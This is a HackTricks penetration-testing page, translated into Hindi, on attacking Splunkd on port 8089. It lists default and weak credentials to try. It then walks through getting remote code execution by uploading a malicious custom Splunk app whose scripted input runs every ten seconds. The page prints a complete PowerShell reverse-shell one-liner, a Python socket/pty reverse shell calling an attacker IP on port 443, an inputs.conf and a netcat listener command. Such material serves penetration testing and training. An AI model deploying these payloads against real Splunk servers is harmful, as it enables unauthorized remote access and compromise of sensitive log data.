hacktricks/network-services-pentesting/8089-splunkd.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

16 KiB

8089 - Splunkd का पेंटेस्टिंग

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

मूलभूत जानकारी

Splunk एक लॉग विश्लेषण उपकरण है जिसका उपयोग डेटा को इकट्ठा करने, विश्लेषण करने और दृश्यीकरण करने के लिए किया जाता है। हालांकि, पहले से यह एक SIEM उपकरण के लिए निर्मित नहीं था, लेकिन Splunk को अक्सर सुरक्षा मॉनिटरिंग और व्यावसायिक विश्लेषण के लिए उपयोग किया जाता है। Splunk डिप्लॉयमेंट अक्सर संवेदनशील डेटा को होस्ट करने के लिए उपयोग किया जाता है और यदि कंप्रोमाइज़ हो जाए, तो एक हमलावर के लिए बहुत सारी जानकारी प्रदान कर सकता है।

डिफ़ॉल्ट पोर्ट: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

{% hint style="info" %} Splunk वेब सर्वर डिफ़ॉल्ट रूप से पोर्ट 8000 पर चलता है। {% endhint %}

जांच

मुफ़्त संस्करण

Splunk Enterprise परीक्षण के बाद 60 दिनों के बाद एक मुफ़्त संस्करण में बदल जाता है, जिसमें प्रमाणीकरण की आवश्यकता नहीं होती है। सिस्टम प्रशासकों के लिए सामान्य है कि वे Splunk का परीक्षण करने के लिए एक परीक्षण संस्करण स्थापित करें, जिसे बाद में भूल जाते हैं। यह स्वचालित रूप से मुफ़्त संस्करण में बदल जाएगा जिसमें किसी भी प्रकार की प्रमाणीकरण नहीं होती है, जो पर्यावरण में एक सुरक्षा गड्ढा प्रविष्ट करता है। कुछ संगठन बजट सीमाओं के कारण मुफ़्त संस्करण का चयन कर सकते हैं, जिसमें उपयोगकर्ता / भूमिका प्रबंधन की कोई भी प्रकार की व्यवस्था नहीं होती है।

डिफ़ॉल्ट प्रमाणपत्र

पुराने संस्करणों में Splunk के डिफ़ॉल्ट प्रमाणपत्र हैं admin:changeme, जो लॉगिन पेज पर सुविधाजनक रूप से प्रदर्शित होते हैं।
हालांकि, Splunk के नवीनतम संस्करण में प्रमाणपत्र स्थापना प्रक्रिया के दौरान सेट किए जाते हैं। यदि डिफ़ॉल्ट प्रमाणपत्र काम नहीं करते हैं, तो admin, Welcome, Welcome1, Password123 आदि जैसे सामान्य कमजोर पासवर्ड की जांच करने में मूल्य होता है।

जानकारी प्राप्त करें

Splunk में लॉगिन करने के बाद, हम डेटा ब्राउज़ कर सकते हैं, रिपोर्ट चला सकते हैं, डैशबोर्ड बना सकते हैं, Splunkbase पुस्तकालय से एप्लिकेशन स्थापित कर सकते हैं, और कस्टम एप्लिकेशन स्थापित कर सकते हैं।
आप कोड भी चला सकते हैं: Splunk में कोड चलाने के कई तरीके हैं, जैसे सर्वर-साइड Django एप्लिकेशन, REST एंडपॉइंट, स्क्रिप्टेड इनपुट्स, और अलर्टिंग स्क्रिप्ट्स। Splunk सर्वर पर दूरस्थ कोड निष्पादन करने का एक सामान्य तरीका स्क्रिप्टेड इनपुट का उपयोग करके होता है।

इसके अलावा, Splunk को Windows या Linux होस्ट पर स्थापित किया जा सकता है, इसलिए स्क्रिप्टेड इनपुट्स बनाए जा सकते हैं जो Bash, PowerShell, या Batch स्क्रिप्ट्स चलाने के लिए उपयोग करते हैं।

शोडन

  • Splunk बिल्ड

RCE

कस्टम एप्लिकेशन बनाएं

कस्टम एप्लिकेशन Python, Batch, Bash, या PowerShell स्क्रिप्ट्स चला सकता है
ध्यान दें कि Splunk में Python स्थापित होता है, इसलिए Windows सिस्टम में भी आप पायथन कोड चला सकेंगे।

आप इस Splunk पैकेज का उपयोग कर सकते हैं। इस रेपो में bin निर्देशिका में Python और PowerShell के लिए उदाहरण हैं। चलिए इसे चरण-दर-चरण देखते हैं।

इसके लिए, हमें पहले निम्नलिखित निर्देशिका संरचना का उपयोग करके एक कस्टम Splunk एप्लिकेशन बनाने की आवश्यकता होगी:

tree splunk_shell/

splunk_shell/
├── bin
└── default

bin निर्देशिका में हमारे द्वारा चलाने की योजना बनाई गई कोई भी स्क्रिप्ट (इस मामले में, एक PowerShell रिवर्स शेल) होगी, और डिफ़ॉल्ट निर्देशिका में हमारी inputs.conf फ़ाइल होगी। हमारा रिवर्स शेल एक PowerShell वन-लाइनर होगा:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

inputs.conf फ़ाइल Splunk को कौन सा स्क्रिप्ट चलाना है और किसी अन्य शर्त को बताती है। यहां हम ऐप को सक्षम करते हैं और Splunk को हर 10 सेकंड में स्क्रिप्ट चलाने के लिए कहते हैं। अंतराल हमेशा सेकंड में होता है, और इन सेटिंग्स के मौजूद होने पर ही इनपुट (स्क्रिप्ट) चलेगा।

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

हमें .bat फ़ाइल की आवश्यकता है, जो एप्लिकेशन डिप्लॉय होने पर चलेगी और PowerShell वन-लाइनर को निष्पादित करेगी।

अगला कदम है Install app from file का चयन करना और एप्लिकेशन अपलोड करना।

हानिकारक कस्टम ऐप अपलोड करने से पहले, हम Netcat या socat का उपयोग करके एक लिस्टनर शुरू करेंगे।

sudo nc -lnvp 443

listening on [any] 443 ...

अपलोड ऐप पृष्ठ पर, ब्राउज़ पर क्लिक करें, पहले से बनाए गए टारबॉल को चुनें और अपलोड पर क्लिक करें। **** जैसे ही हम ऐप्लिकेशन अपलोड करते हैं, ऐप्लिकेशन की स्थिति स्वचालित रूप से सक्षम पर स्विच कर दी जाएगी और हमें एक रिवर्स शेल प्राप्त होगा

लिनक्स

यदि हम लिनक्स होस्ट के साथ काम कर रहे होते, तो हमें टारबॉल बनाने और कस्टम विषाक्त ऐप अपलोड करने से पहले rev.py पायथन स्क्रिप्ट को संपादित करने की आवश्यकता होगी। बाकी प्रक्रिया समान रहेगी और हमें अपने नेटकैट सुनने वाले प्रश्नकर्ता पर रिवर्स शेल कनेक्शन मिलेगा और हम शुरू हो जाएंगे।

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE और विशेषाधिकार उन्नयन

निम्नलिखित पृष्ठ में आपको यह समझने में मदद मिलेगी कि इस सेवा का दुरुपयोग कैसे किया जा सकता है ताकि विशेषाधिकार उन्नयन और स्थायित्व प्राप्त किया जा सके:

{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}

संदर्भ

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥